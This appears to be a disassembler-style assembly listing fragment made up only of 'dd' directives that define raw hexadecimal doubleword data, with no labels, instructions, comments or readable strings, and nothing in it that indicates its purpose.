		dd 10CA0C0Bh, 8C232086h, 14C8E03Ch, 358507A6h, 8A101902h
		dd 87BC017Dh, 0EA70C1B7h, 0F82D82F2h, 0E41D9392h, 8A69B443h
		dd 811996E1h, 0A8E08118h, 73400AEAh, 69466F3h, 5507F5F7h
		dd 0E2202E91h, 15E9300Dh, 0C2319429h, 8C0EBD00h, 0E1B4C4BBh
		dd 0CA4B00E6h, 751D28A2h, 680A9896h, 0A28C1061h, 64E78140h
		dd 1FCF267h, 82F65B62h,	3663AC3h, 0B95AC054h, 0C8861FE5h
		dd 2BC18135h, 50CC3994h, 6EB3116Eh, 0ED361700h,	8B3BFF93h
		dd 0FE2F0750h, 818C61F3h, 0C87D38BAh, 0C8018207h, 6FB52774h
		dd 1081EFB6h, 245519ABh, 73F0FCFAh, 7298671h, 0A800A8EAh
		dd 0D36C52A3h, 0BE95058h, 0D7873889h, 8E10E784h, 0D2BD5D07h
		dd 905A00ADh, 5EB8403h,	171160EAh, 47F74663h, 0E8F59E03h
		dd 0C804DB90h, 14B8AC8Eh, 0F8497C22h, 0EA302622h, 71840B0Eh
		dd 9E810079h, 0C5CAE8DFh, 0B90CC9C2h, 2544EA04h, 0A8343827h
		dd 9367E200h, 0FA3CCD41h, 0B786E412h, 8C181108h, 0D10B13EAh
		dd 0A65F4A03h, 0B042E791h, 1287DEh, 0AF0BC1BFh,	0EA716B82h
		dd 795B59h, 0F368A993h,	9C6173h, 0D913B887h, 0ECA6BC1Ah
		dd 366F53Ah, 7E523E56h,	1EB3A875h, 0F30900B2h, 6D58D1ABh
		dd 0DF3784D4h, 0C13214Fh, 0C747A378h, 31A64E00h, 0DD70DCAh
		dd 2118DAC5h, 43218E4Bh, 48444376h, 0C5EEB5Ah, 2EBDCF26h
		dd 0E1077521h, 647A0A42h, 79FF93h, 0E615DB19h, 3816F6AEh
		dd 0B9085800h, 31493DADh, 76E00C9h, 0F6BE18EEh,	0DC005A3Eh
		dd 9ADB125h, 184BDF55h,	616A5E8Ch, 160E024Dh, 40CB1E58h
		dd 49FD3B23h, 0CCB80061h, 1FF5815Dh, 3F30AC9Bh,	0AAB5E151h
		dd 0D85C07A0h, 8058CA66h, 405A5F01h, 0C2016EE0h, 65757DE2h
		dd 55D11ECCh, 117848h, 40CA2BEDh, 4F522587h, 0C20E1D00h
		dd 5CD2BCD5h, 712F00F7h, 0A86769FFh, 7600F1DDh,	42087F16h
		dd 0E90F3CFDh, 6883E0h,	2A05517Bh, 0C8D41E1Ah, 29235B30h
		dd 0F7ED0DCh, 0FF8C8262h, 482EB900h, 9A1E87E5h,	0D603A691h
		dd 0A062C368h, 0CDDB1Ch, 0CEDFE3F3h, 9CA30E56h,	8513F902h
		dd 0C11C773Dh, 58867E8Ch, 800EF423h, 0E7577F00h, 79B0C9D8h
		dd 2D0B0117h, 0F0499C96h, 6F38878Ch, 1881A00Fh,	0AE03E71h
		dd 9EB948B6h, 0D560070Ch, 0AE0C8638h, 0B9205C7Ah, 0C4AC000Fh
		dd 0E4E8E922h, 6F0C5D6Ah, 21245B58h, 7ED63EE1h,	0EB6BAEh
		dd 0B19F9A28h, 0A400A62Bh, 5B19FC80h, 7C24DF90h, 1F797F64h
		dd 0CC71A0BEh, 0F6B80978h, 0D20FDB18h, 3DA75E8h, 0A23E315Ah
		dd 0D5A040BEh, 0E1C01195h, 9AE512E2h, 73FA3878h, 67832000h
		dd 0F2278BF5h, 8D4740C0h, 6053BBCDh, 689B10C4h,	0C8A03CA9h
		dd 0CA0298F4h, 5ECEFB2Ch, 5F4080FDh, 0F76D81D7h, 8841C6E1h
		dd 55E0D869h, 48FB0C89h, 9E400FD5h, 8BFF8F0Ah, 0A10594D1h
		dd 0A458D441h, 836684E0h, 0BBC3F5D8h, 68571628h, 424B2D06h
		dd 0C93A95h, 0A2CF5E04h, 123894D8h, 19263900h, 6E141FE6h
		dd 57FE03B7h, 675041A4h, 72F06012h, 26383840h, 9B7492h
		dd 0D68D9843h, 6EBB04DCh, 0AA79EE37h, 35D9F80Fh, 5987BC9h
		dd 0CE333C80h, 69F8204Ch, 250A7371h, 0E41BF636h, 17E9BD86h
		dd 0B2681471h, 0FB0324FCh, 0F7953411h, 6A4026B0h, 0BA76901Eh
		dd 0ABD13858h, 6F7B015Dh, 0C1318A34h, 0EA933083h, 0C0293003h
		dd 124AB227h, 1B9064D0h, 0E0F88144h, 7A00387Ch,	0D540A374h
		dd 0A623A793h, 0FB31059Ch, 213D9A0h, 6DF054C0h,	6C1084A0h
		dd 93003AB8h, 3FE11BFAh, 0C66E401h, 453970FBh, 22FF8030h
		dd 18F53E0Ch, 7F186229h, 5B72069Bh, 515E2CBAh, 49A14206h
		dd 0AA0824Ah, 518B5906h, 0BDD68198h, 0E8F412EDh, 0A0C71C6Bh
		dd 0DF155F6h, 0B0D31A7Ch, 3EE7A9h, 0A030C7D7h, 82873D31h
		dd 0E03B5900h, 5585F7F3h, 0E011FCBh, 2F9380E7h,	2892949Fh
		dd 6F766B00h, 0F8180233h, 75AA3C2Ah, 0AED48700h, 0B526C36Eh
		dd 63417C00h, 5D85F209h, 0B1F900CBh, 251E29A8h,	92002D2Eh
		dd 393E5834h, 3D9ED8h, 0A057E83h, 3896A036h, 9C410D05h
		dd 801E5A71h, 0F830955Eh, 9ACA5B66h, 0A1D21D24h, 0C8B080B2h
		dd 2D3FA18h, 9B3B217Ah,	6FC707A2h, 84613071h, 0FC500B96h
		dd 0A09A9F39h, 8CA0D0h,	6D218818h, 98ED6791h, 937038A0h
		dd 5B0800EDh, 0BD00E91Fh, 0FE070709h, 37BF5FD4h, 22F78370h
		dd 6C4113A0h, 49505E75h, 0B807D0F0h, 79595F23h,	403368h
		dd 9E59DEEh, 7E741BCh, 17A93479h, 679EF0BDh, 880CBEA3h
		dd 3114F735h, 31E87832h, 0FDF9C7C3h, 0D9742470h, 0CF2B6400h
		dd 401A3D17h, 0E397025Bh, 0F6EE8D3h, 8012AAE1h,	1898B981h
		dd 0FDF7195h, 4B94C81Ah, 0E22D8720h, 66005D89h,	83246ED8h
		dd 51E54A4h, 59989B0Bh,	7C880130h, 20C62F8Ch, 0A230714Ch
		dd 0BE83817Dh, 2820764Bh, 13805D7Ch, 309C71B4h,	0BB9F8B94h
		dd 98E1ED80h, 1A473C2Ch, 75962C83h, 89F0E318h, 0A9CB946Fh
		dd 741C0A08h, 68C014A6h, 44974A2h, 864BA32Eh, 659C81B4h
		dd 0CFCD0039h, 9821545Bh, 764E00B3h, 0B17D53C7h, 0E204ADEEh
		dd 3D33AE0Eh, 0D2A87CC1h, 2E06D040h, 13F51836h,	75FDB07Eh
		dd 18CDB9C7h, 7C2538D0h, 2F1D0345h, 359771F9h, 0F8872101h
		dd 0C8FCC632h, 6EEFA18Ch, 68003FC1h, 91229D75h,	0F9C577h
		dd 320B841Fh, 198B6F05h
		dd 5028156Ch, 37968868h, 0F46649C0h, 4D9E03h, 0EF13FA9Bh
		dd 2AFEEA9Dh, 65932701h, 6F6040F8h, 7F32C881h, 24C64C05h
		dd 205BD0Ch, 84E05654h,	808016C4h, 9D8A3Fh, 59F62040h
		dd 0CCDF305Eh, 49FC654Ch, 153E1128h, 0DF8230Ch,	0F4483589h
		dd 9E298440h, 30FBEC80h, 703E89Ah, 0B9ED5BE0h, 0F943569Dh
		dd 7D547C90h, 9314F2C8h, 18FCA83Dh, 0B7A1C95Bh,	5514035Ah
		dd 79931C70h, 5DFF2880h, 26547400h, 0DC81DB2h, 29167553h
		dd 5E8F036h, 0A0EFC23h,	3A58EF4Ch, 6D644A09h, 0F7CF3C00h
		dd 0D8C278CCh, 90907016h, 919A71C8h, 7B938448h,	0FCA303BFh
		dd 0CC19096Ah, 6F8028B5h, 3D3A6922h, 7EBC3100h,	0C58BF971h
		dd 0C3D12483h, 80E00058h, 7ACA9D4Ch, 3BD650DEh,	85B20040h
		dd 0A05A68ACh, 1EB68978h, 80CD9363h, 506BC429h,	5C009F9Ch
		dd 4CF7C8Ch, 0EED9ABBFh, 8023F36Fh, 68CE2209h, 0C6288C80h
		dd 833ED2C1h, 0A68F1C55h, 0A7B9868Fh, 10093891h, 2F6758h
		dd 7FE973EEh, 8F9D894Ah, 0BCAA0713h, 3CF74444h,	6C91EF49h
		dd 4A1CF05Fh, 0E3384700h, 6D3DAEF7h, 0BF800311h, 0B3EF903Eh
		dd 4A1D4105h, 0B40178D8h, 0BDBF0794h, 0E19D1882h, 21005F3Bh
		dd 7BDD98F0h, 861502B6h, 0A02C3305h, 8F9138A0h,	347B528Ah
		dd 2BA44D00h, 0FCF69D30h, 0CA1F2E3Ch, 2F8D087Ch, 0D7C5DB85h
		dd 22A2D401h, 0C18107F5h, 79508C1Fh, 9170740Ah,	6BFD54A8h
		dd 520888A8h, 0B10715FCh, 0D014F19Ch, 0A59DFB50h, 12E5F4B4h
		dd 310A0831h, 100EF37Ch, 5D3CE707h, 251EFC79h, 184D3990h
		dd 0CF22309h, 0EF9D48B0h, 71492061h, 818A72A1h,	0E140D96h
		dd 7660BAADh, 2ECC8DBDh, 0E22EA27Ch, 10835C8Bh,	96AF0E7h
		dd 0B4C7570h, 67C6498h,	8C4E2F0Eh, 0A11BE047h, 0B09CB373h
		dd 68922CB7h, 7EC84250h, 0EEBA900h, 28F901BBh, 81BC49E9h
		dd 709FEB1Dh, 0F3D39DE5h, 0C5BB8B12h, 8A68021h,	345A8600h
		dd 8CF5753Fh, 20571D5Fh, 0FFE9259Ch, 0BC0CC400h, 930009D0h
		dd 69329F4Ah, 597DA16Dh, 92119837h, 0BCB85178h,	0F99E0991h
		dd 0E954183Ah, 146F0067h, 11EBC7A7h, 7A004AC9h,	7420E605h
		dd 0C52EE199h, 81D28150h, 882A1D40h, 80438D61h,	362D1F3Eh
		dd 809837F7h, 0FAC64213h, 60685C37h, 0B8938C75h, 9CADF0C0h
		dd 0CB8F9BF9h, 20024FD0h, 74005829h, 64997102h,	0A01650D2h
		dd 38C2B488h, 6889064Bh, 51D849B0h, 0D096DC5Eh,	5B1C0632h
		dd 0F300711Dh, 6157F287h, 0A9E24D0h, 79DBFA1Ch,	0F5760F18h
		dd 90B7F305h, 939D3388h, 0C312F712h, 0F2153001h, 0A09F872Bh
		dd 61280990h, 0F3760C00h, 0E4BA03DBh, 0A1A0ED09h, 40802C3Fh
		dd 1DBE4099h, 8E9C4210h, 18CC6886h, 969FF13h, 42C3024h
		dd 50108BECh, 9D06BB3Dh, 0C06E97F9h, 0F5FF8A1Ah, 8DB04019h
		dd 38B4A88Eh, 4654B9Ch,	0E4F0A938h, 80058B34h, 9EB2FD5Fh
		dd 9FC03487h, 1B68F7Eh,	42817AB9h, 6440E96Ch, 21738B18h
		dd 78054180h, 254DF5h, 70003043h, 987EFDC6h, 5B0019C3h
		dd 0D33D31E7h, 964C0805h, 0F9A10268h, 8C507DE5h, 18A0333Ch
		dd 7310B4FDh, 79FE2976h, 19381088h, 929991AFh, 0B1929DF1h
		dd 55980C8Eh, 2A5D7789h, 90B8797Ch, 7A9CB200h, 8015CC2Dh
		dd 292960BBh, 4B2398FBh, 0AE0649Ah, 140568C8h, 9285A8E9h
		dd 0F0082135h, 0F52434F6h, 411F7037h, 4044689h,	0FF91A757h
		dd 3F78D011h, 1D618BFBh, 3B937679h, 8C24D44Ah, 7535409Ch
		dd 18A8B3FBh, 154E19Fh,	0BD318A8Ch, 7ED07131h, 40103007h
		dd 0FD00944Ch, 0E583965Ch, 0FA7F9FF2h, 32860C05h, 6841F9E9h
		dd 60543570h, 0E00017ACh, 8792D62Bh, 0B7BA76h, 14CA02AEh
		dd 7FEA4109h, 2925BB22h, 49840F5h, 4113F07Bh, 102AFCBBh
		dd 0C7D064h, 0B289D9A2h, 3FE048F3h, 0B7962E14h,	6E5C0AC5h
		dd 700D505h, 0B3D63C54h, 0AB9B3C9Eh, 7CD09600h,	0DCA2EE10h
		dd 0DFF08000h, 0E036F250h, 0ECA803C1h, 0BE5F9501h, 4E77A0B7h
		dd 9DF8C252h, 40B99731h, 0ECDD82CEh, 0F4F11A00h, 37E89500h
		dd 22B4E7E0h, 734E0017h, 0CB557FC0h, 0E6015911h, 0ABDA6EA8h
		dd 82E82808h, 0A31B0009h, 0F5AE1C85h, 372CE695h, 164540F2h
		dd 54BE046Ah, 0AEF8E0F8h, 0E89BEF12h, 0A1C2D800h, 174E0F20h
		dd 3BEFD6Bh, 0BD08807Dh, 0B9D99DB0h, 0C7969A00h, 84A91A83h
		dd 408EFF88h, 2AE1E051h, 0C4176FE8h, 0C0007E45h, 65DA0A91h
		dd 73BE52h, 108A7641h, 19A6A36Dh, 8A2B520h, 0E146EDACh
		dd 186FC200h, 5F9EFCh, 0C45E93C0h, 79EA594Ch, 75D99A0Eh
		dd 0A6D7805Ch, 0F84E80Ah, 0EDD84E89h, 31E2F3CEh, 9804BEC4h
		dd 942E38C5h, 1CD600BBh, 0E24CF9B0h, 0C1EB0F36h, 9FE0EA6Fh
		dd 6286C060h, 4911DA00h, 9BA4BEE6h, 9DEE77h, 1B5E79D0h
		dd 0A780E388h, 2548EC00h, 0A896323Ch, 4E010020h, 1097D2ACh
		dd 4B00775Bh, 0AB25CF79h, 3F69177Dh, 0A88078C5h, 0AD82E387h
		dd 40C04BF7h, 0EBB5962Ch, 0AC9D0016h, 0C6568BFCh, 0BAE44F7Fh
		dd 0B9CFA400h, 0A9C56D0Eh, 871A009Dh, 0F3AD9615h, 2EEC2595h
		dd 0EBB6E50Fh, 35A2EB0Ch, 0CE00758Ch, 0F089E19Bh, 0F35000F9h
		dd 0A3E62D36h, 5902121Ah, 5C7ABFA2h, 0A7EF03C0h, 9BABD0E8h
		dd 7E627407h, 0D790199Dh, 3ECB389h, 3243EA07h, 0D0AF9FEBh
		dd 8A057899h, 4BC8A303h, 0D0B67F53h, 177BD2h, 0A7D6F12h
		dd 861585AEh, 4A07F4E8h, 0F21D10E4h, 5C051CE0h,	6CC0006Bh
		dd 5866D95Bh, 6800B47Fh, 690E7A9Bh, 197ED5h, 3B15D0EDh
		dd 2594EFA9h, 0EA294300h, 9EFEDDB4h, 9AA70162h,	594D5EA3h
		dd 0B0AC64B8h, 0C4970F05h, 8824D078h, 0C3FE046Fh, 98B054A8h
		dd 0AE4D11h, 0C5790BE1h, 92090A82h, 572CB4h, 9D15ADB7h
		dd 0A038762h, 0BA8C668h, 0D9B5F029h, 0FD84856Ch, 15033473h
		dd 7AC3A409h, 835F00A4h, 3F58F36h, 0FE19977Ch, 67A3964Ch
		dd 7ABD2100h, 7C357B36h, 23B25FD5h, 92B0EBA0h, 6E12ABFCh
		dd 94B49569h, 2FF200EFh, 0F8B6AD8Ch, 521CEC57h,	73408791h
		dd 9D46013Bh, 44145231h, 0D13062B2h, 981400DEh,	2297C21Dh
		dd 3527EF6Ah, 9F3C48F0h, 71B320E9h, 7C40F15Fh, 40D102EFh
		dd 0F3510092h, 3E9E9CF8h, 3800E75Ah, 9779B0D4h,	19A2041h
		dd 0C709773Dh, 0DAE3FC1Ch, 4206ECF0h, 0A6796BAAh, 43E12838h
		dd 3950002Ch, 801E0CD7h, 8D299DF9h, 6D901CFBh, 0CC209773h
		dd 40C8C3F2h, 410E5400h, 0FC80A30Ah, 12152F50h,	0ED024C01h
		dd 0B2904255h, 8368130h, 964CF58Dh, 0BF406564h,	0E0B3678h
		dd 8D5ADC00h, 957191C2h, 0FF21C07Bh, 49BD79EDh,	1CBEC07Ch
		dd 0B15CD384h, 180821h,	41F5A0FBh, 4F840027h, 238156BBh
		dd 8051A9F9h, 9E46E791h, 0C8764E40h, 7400C8ACh,	4BF86038h
		dd 0AEF3C40h, 8BF32A15h, 44CC1E24h, 75F0AFh, 3B8E6208h
		dd 0D9FC0681h, 9C30D5Ah, 82215C60h, 1ECB3B85h, 0C0949A67h
		dd 0E31852F2h, 0F674232Ch, 58C11730h, 0C4971C4Ah, 0E99270F1h
		dd 22A200F0h, 0A0EDFA40h, 0D859614Dh, 0D25BB89Eh, 61B01C48h
		dd 0EFBE7601h, 6FB27219h, 31DDB8C8h, 80E8EECAh,	10607D5Bh
		dd 1C00AFF4h, 15FD6ED9h, 0F30075B3h, 0AD87B2D2h, 77E57166h
		dd 0C6950044h, 74AB8372h, 96790CF5h, 0EF641C03h, 1E543498h
		dd 84DE7088h, 0AC936F85h, 0BF47A01Ch, 6EDF009Dh, 1A96985h
		dd 0B51D044Ah, 0C8C618A2h, 658F4F8h, 5B7D7E7Fh,	0B601D11Ah
		dd 9CA1C99Fh, 0CF452D02h
		dd 1DEB9CE1h, 80A7DB59h, 8BF5B9EBh, 0F0BEC2D7h,	55BD4C04h
		dd 0E3C34493h, 0F51800E4h, 0FF307259h, 80957AE3h, 0F79424C0h
		dd 4601EF5Fh, 507EF6AEh, 0CEB9A840h, 841A00B3h,	2E50EC68h
		dd 4C005EF0h, 8F9D78CAh, 205586Fh, 0B380A4E8h, 0DCA06EFDh
		dd 0FAFE8D18h, 801E883Ch, 0B3A6BB1Fh, 8C6FE2h, 0F6437B7Ch
		dd 8FEE8E9Dh, 61840725h, 69F880D0h, 459824EDh, 947089A4h
		dd 68FB0090h, 61FC3552h, 7291C976h, 0C06C8C30h,	88B5EC79h
		dd 0AB00A707h, 0AE8CC6B1h, 4E72B46h, 3AE532F6h,	0A95C8268h
		dd 483B9430h, 0DA128A67h, 665C220Ch, 3B8BB820h,	987118E2h
		dd 3049697Ch, 7750ED3Dh, 8C3890C2h, 12B4A93Fh, 4905842Ch
		dd 0E901A4B8h, 9E851F92h, 0CB382079h, 7B9D5700h, 4BA3E5F3h
		dd 0BC354995h, 45F22501h, 0D4125183h, 481D85A1h, 0EC4AFFEDh
		dd 0C708F43Bh, 208820CAh, 8985450h, 8202A546h, 84F59236h
		dd 79BC001Ch, 0E68D2836h, 78984765h, 0C1B1720h,	4AFA2343h
		dd 0DF139191h, 0B040DA58h, 99710B86h, 440858CBh, 98C66F8h
		dd 91C7385Dh, 2418C5D8h, 7F2146BBh, 94130368h, 0E96BBC73h
		dd 96A3E802h, 5672A041h, 9A7106F4h, 707581C6h, 0B4752A26h
		dd 8480A711h, 74F59436h, 0BA69448Ch, 9C367B0Bh,	6B340021h
		dd 24E8061Fh, 7446EACh,	0F0684786h, 0BBC47574h,	0ED68029Dh
		dd 5794820Dh, 67A466E8h, 0E935B92Ch, 85299CF2h,	3A03E896h
		dd 0F09A259Fh, 394B65h,	0AB6ADF02h, 0A392BEF9h,	280B812Eh
		dd 69279F40h, 349413D8h, 0F979023Eh, 20569B87h,	0F417020Ah
		dd 39634674h, 0DA6D0034h, 40ACE33h, 8F6F12AEh, 0FD544077h
		dd 0A979E985h, 4DF99C3Fh, 0E792058Ch, 88005D94h, 0CD057E5Ch
		dd 9CA84915h, 663B9380h, 448CB1FBh, 8A00B95Fh, 0D205B53Bh
		dd 3E49259h, 0E36FDD66h, 0A10B73FCh, 80013FABh,	0DBBB710Fh
		dd 8CD64B40h, 0F090AC48h, 3F968822h, 5681287Fh,	0B9A68FA4h
		dd 2C5CFA7Ah, 4A213D19h, 2D56F8h, 997D2593h, 186668A0h
		dd 4028922Dh, 0E57FF6h,	6ED85557h, 6C41FB9Fh, 70151D30h
		dd 0E002FEh, 0F079CCECh, 0DA16498h, 0B346B092h,	90368001h
		dd 0C9654F5h, 77BE886Ah, 14106E80h, 0A470F007h,	902E3303h
		dd 10FE8CE7h, 27F99D09h, 586C016Fh, 19AC08EFh, 94100864h
		dd 10B8483Dh, 44900934h, 7E8C67A8h, 4D30383Ch, 0C2E3170Eh
		dd 0EC029D49h, 5C01CE64h, 93B3FF9h, 0B0094C40h,	0FFF47410h
		dd 0AC85DA00h, 0F37AFC8Ch, 0C8097E6h, 5F12589Bh, 0F8080608h
		dd 0D3880271h, 707447BBh, 0F9A09C01h, 589DCA42h, 0E4865573h
		dd 0A656AA80h, 448CB68Fh, 0B2004843h, 0D5617456h, 72756DD9h
		dd 845041Eh, 0A20CBBF2h, 0E772030Ch, 0D0FCBA15h, 3A0D2F4h
		dd 4102F374h, 0E0EAFE05h, 2484ACC2h, 56AB6085h,	0AE8F23A5h
		dd 47003E11h, 68CC56B3h, 0FD036C9Dh, 32595DF2h,	7B580552h
		dd 0ADC93FC4h, 432D1024h, 0F7367E04h, 8014A0FFh, 0E8CCE6F1h
		dd 11C9A039h, 0CC880A9Ch, 0C9A8DC80h, 0A0B82EFEh, 81D090D0h
		dd 4004339Fh, 398C8CA4h, 8F1056A0h, 0A84EE0C6h,	84674856h
		dd 0BC0C8D00h, 0ED879537h, 79A95B36h, 0E7A46A8h, 249CC9A4h
		dd 0CE322CAAh, 0C9ACD820h, 71E60025h, 0E1A228D5h, 0A0C59163h
		dd 0CC4064F1h, 0C2EEDD6Ch, 0F9E269h, 0A276F2B0h, 0E800120h
		dd 0A6529701h, 0E737C3F3h, 859CA440h, 0BF9A0B43h, 28707E12h
		dd 0C1006F5Ch, 58D9488Dh, 603D1501h, 2B4009C0h,	63BB1280h
		dd 3E3C0021h, 3487AC8Dh, 7DBE93A0h, 2E008E4Ch, 0A82AE529h
		dd 0F8063720h, 212D1788h, 0A03C0233h, 0DE212F8Dh, 9C87838h
		dd 419D0C43h, 68E09940h, 2D257B75h, 87AC223Eh, 546619E8h
		dd 885C8EBCh, 0E1C5C044h, 6C00D3F7h, 22F1BDA0h,	1332CC54h
		dd 0F17F8BD5h, 5DF06084h, 3FE1440h, 38391BF1h, 0C1BC5B27h
		dd 267F42D4h, 0FA7FE03Ch, 13DB7F3Fh, 0B15BF95Ah, 2E402D94h
		dd 4A4088EFh, 0F4C11B2h, 7322B6C9h, 8FE69FA0h, 0A60061F1h
		dd 384945B8h, 5C98FBCBh, 69FC504Ch, 9149038Ch, 6DFCF26Fh
		dd 74351900h, 0C7C14DE0h, 3FF7F79h, 0E60518BFh,	0AFA85BD5h
		dd 45022191h, 28EF2FAEh, 8FA040D7h, 40724C9Eh, 738C41BCh
		dd 0CF9D050Dh, 4079EFCDh, 3954ED80h, 3000A14Ch,	4AFD6E85h
		dd 90777284h, 27846A4h,	9CAAC9A6h, 0D6241CBAh, 9E00F8AEh
		dd 0C659542Dh, 811060FBh, 0B05FC479h, 8E1231B8h, 0D48893A4h
		dd 25487C23h, 0B820FCB2h, 2C741543h, 24215901h,	1864772Ah
		dd 9DB057C8h, 94A2A4A0h, 0C7019136h, 0ED6EA73Ah, 236B9D63h
		dd 0F0C02FACh, 4000A017h, 4FB4EA3Eh, 2AEFAF9Dh,	9E44498h
		dd 0BC7FBBF6h, 6AF27803h, 22A378F8h, 0B9C00AECh, 0F37B3391h
		dd 0C45F8FDh, 0BA4FE3F5h, 6702B230h, 4C4282D6h,	5C9C509Dh
		dd 66BCDC15h, 0E0921E8Ch, 65EF4EC6h, 0D3C4DFC2h, 0F104C0F4h
		dd 94C8BC8Ch, 56FE8C8Bh, 0BE8F9F11h, 4D02E29Fh,	383D56A9h
		dd 0C08AE3D9h, 6995FE12h, 8F802113h, 18983422h,	92E96003h
		dd 0F9D57512h, 8EC483FCh, 738F0074h, 0F1C4C6C9h, 0E4602C8Bh
		dd 902D32F9h, 0B0FD30F7h, 0CE73FFA8h, 3E3308A9h, 0C4E6601Ch
		dd 4CB465Eh, 9F485FCCh,	0A12988C2h, 8BDBF6ACh, 0C3CC003Fh
		dd 160D4F0Fh, 2F9DE401h, 0B16FF3FFh, 5403FC67h,	2CED70FBh
		dd 80174039h, 691FBE4Eh, 98AE87B2h, 0A4E54C69h,	6622A26h
		dd 0A917F935h, 679F8500h, 825AE9C3h, 3C700E0h, 7F0E0936h
		dd 1A4CD7DBh, 0FCA4165Ch, 9C6E0A4h, 954AB956h, 44DCE200h
		dd 92501B99h, 0AE275C9Ch, 1454E153h, 63F27872h,	1D3E730h
		dd 2CD5AA44h, 3059F198h, 1F2824F4h, 407DC41Dh, 11D89D82h
		dd 431780CCh, 5DDED9D4h, 0D8829C5Bh, 4FE2E9Eh, 0C7CDB40h
		dd 0C55A37B7h, 0E484A041h, 171D2F5Eh, 0E5009356h, 66C1C7ADh
		dd 6A9F0680h, 48B382D0h, 4509249h, 7EA21C93h, 2A06CC3h
		dd 0DBF58E91h, 0AC8B246Fh, 89706098h, 5B16D499h, 72B5CF4h
		dd 30C0646Fh, 7985407Ch, 0E1046AC9h, 0EFE66CFCh, 2B4A74A6h
		dd 6B23E8h, 0C3F87F47h,	0ED0BF2F6h, 4F587A4h, 0FB011F58h
		dd 11305A0h, 207AFAF4h,	3A5FB7D4h, 216D3407h, 5510B346h
		dd 0BB20330h, 0FD2B9518h, 99C00810h, 5017B900h,	75F02E7Ah
		dd 1F2B0015h, 5E3CA662h, 6905BEADh, 0D7C3CBB5h,	9C00B4F8h
		dd 710D3D2Bh, 84A229Ah,	6523A03Bh, 0AF007626h, 0B5B19D68h
		dd 80EC9E5Ah, 0CF7AB421h, 3A0057CAh, 0E7D5A04Ch, 748595Ah
		dd 0FDC8D3E1h, 8A2CE3C9h, 90FC9DF0h, 0A40489D2h, 0ED01C187h
		dd 3D2C3D68h, 2FF22D8h,	878F5FC2h, 80C89538h, 0F24E19Dh
		dd 931C385Ch, 0A8419AC7h, 998CC869h, 0EC74ABB6h, 93356760h
		dd 0AC9CF526h, 27EB970h, 63695536h, 984060C1h, 9B067D34h
		dd 0F8FC95CDh, 39972659h, 51D08088h, 0A096873h,	2489220Fh
		dd 471B25B6h, 5927F480h, 18A84D0Ch, 46FB2E72h, 0D7689090h
		dd 4123642Bh, 1EE9A400h, 94EFE8BFh, 0F3439734h,	1759002Ch
		dd 0E1DE75A7h, 0FAC91C09h, 119EC166h, 687E04DFh, 886A0734h
		dd 6B60DE25h, 96E932AEh, 0E79082C4h, 1062CFDCh,	0E3DBF040h
		dd 0B482CC5Eh, 0A2D46850h, 78CE1128h, 0EA1F0515h, 0C8B46CFBh
		dd 0CD4B266h, 0E08C7019h, 0F3E4EC29h, 838CDB48h, 9C757143h
		dd 50801909h, 0D6E0046Dh, 695E31DFh, 0FF340065h, 52C65A46h
		dd 7A03C0FAh, 3DB950EEh, 0EFA5200Dh, 0BC60397Ch, 392D60CDh
		dd 6F587786h, 21B08D33h
		dd 71ADA2CCh, 3B9081E4h, 1889FC83h, 87B4886Ah, 54023B00h
		dd 0A27489F9h, 0A4254C9Eh, 2C97C10h, 0FF8FB875h, 824F0B3h
		dd 148C6FDDh, 40050516h, 4E4EF89h, 45A34E71h, 818D4D30h
		dd 840655Ch, 41C9903h, 29A198h,	0F0EF8FA7h, 0B8909C7Ah
		dd 89E9120h, 96256611h,	0C707A852h, 9F2E18D9h, 9154B8B0h
		dd 0F26C0362h, 0CF0F45D6h, 0A775AFA8h, 16308805h, 70ECCEA4h
		dd 3C968A83h, 0EF934900h, 9E57C4F6h, 11D7057Bh,	40FBFB9h
		dd 0C0BA85C0h, 69722701h, 0C52471FEh, 9343E42Bh, 0A3C80F22h
		dd 2F06F38Fh, 0DA001019h, 4F355401h, 1878D9Fh, 3D66B986h
		dd 6914C7D4h, 1BACE4h, 3F1C77EFh, 94F81DFEh, 0AD2F2B02h
		dd 7105B8E0h, 117826D0h, 0C9A1807Bh, 43129C9Fh,	2CCD222Dh
		dd 88A9D9h, 0F1032B04h,	0C6136F4Ah, 0EC98A433h,	9F048C89h
		dd 0CE8FA156h, 0A7004B38h, 0DDB81356h, 24D153F4h, 10C09E9Dh
		dd 28805B78h, 0A2752449h, 37B08330h, 821127Ah, 9FD04110h
		dd 40702FE1h, 0E647C61Ch, 0FE75A307h, 954305EBh, 0EC79000Bh
		dd 0FA8D1E54h, 0B8006DD8h, 3774A3E3h, 0B6CDF78Ch, 48EE2FDCh
		dd 0BA5CD400h, 0BF136977h, 0FE250B4Bh, 0F44B5A68h, 0DFCB2780h
		dd 6D3ECD00h, 0A6418122h, 0A819079Ch, 0B1B08BBDh, 0F648ED92h
		dd 6FA4C849h, 15C2E021h, 51C77198h, 8C0E59C9h, 63DA772Ah
		dd 0C88ED873h, 0EA4BAD3Bh, 0EA06098Dh, 0D02FEE78h, 0F0FA6FE0h
		dd 9F7415EDh, 0DF596560h, 94F221h, 85066191h, 0EFE0E142h
		dd 40779F2h, 840D596h, 418DAB62h, 39AF74D4h, 8852B842h
		dd 0E02FCFAh, 15CD80EAh, 4186CAAh, 0FC843B91h, 205C6281h
		dd 323B88B7h, 0DF69D800h, 4CC767D1h, 6B71025Dh,	7B417328h
		dd 59A08CC0h, 9CCAFE13h, 2413C009h, 0D4F27300h,	13041E2h
		dd 51C30271h, 94F70F85h, 0CB6E4D8h, 6680A911h, 0A4F57635h
		dd 0B8C0F8B1h, 1F10367Dh, 81D4DE28h, 48FB523Fh,	94027B59h
		dd 0F481DAAFh, 60AC454Ch, 823B8F8Ch, 1191FC23h,	86B50068h
		dd 0D090563Bh, 0DFE30218h, 5B8BF32Ch, 954C8057h, 80308948h
		dd 6C98C974h, 0A02CCA45h, 8C65BCh, 49A845A5h, 0C3D05CC1h
		dd 0BBE32603h, 0A17FCE6Ch, 0D12BBE27h, 15B7588h, 0B4F98C38h
		dd 0CC2D8826h, 5C11FC97h, 80273A85h, 0B04215A4h, 33FE4400h
		dd 0FF89BB99h, 0C9D15E9Bh, 15ED74h, 0C176A471h,	78FADC1h
		dd 6C1D2BD0h, 0F8EBB0B2h, 890BD50h, 0F200B9E4h,	0CC94A98Dh
		dd 20E1E81Ah, 0C4985D6Fh, 0B1701B14h, 2F9A2234h, 0F8029ED8h
		dd 4097BA0h, 28900F7Dh,	3CDE406Fh, 0C3090A57h, 8999D0Eh
		dd 1DFF60A8h, 8971D200h, 6856E16Ah, 317017F5h, 0F628B45Dh
		dd 37EB820h, 47E48B95h,	0F810C734h, 8C8BC97Bh, 3C26090h
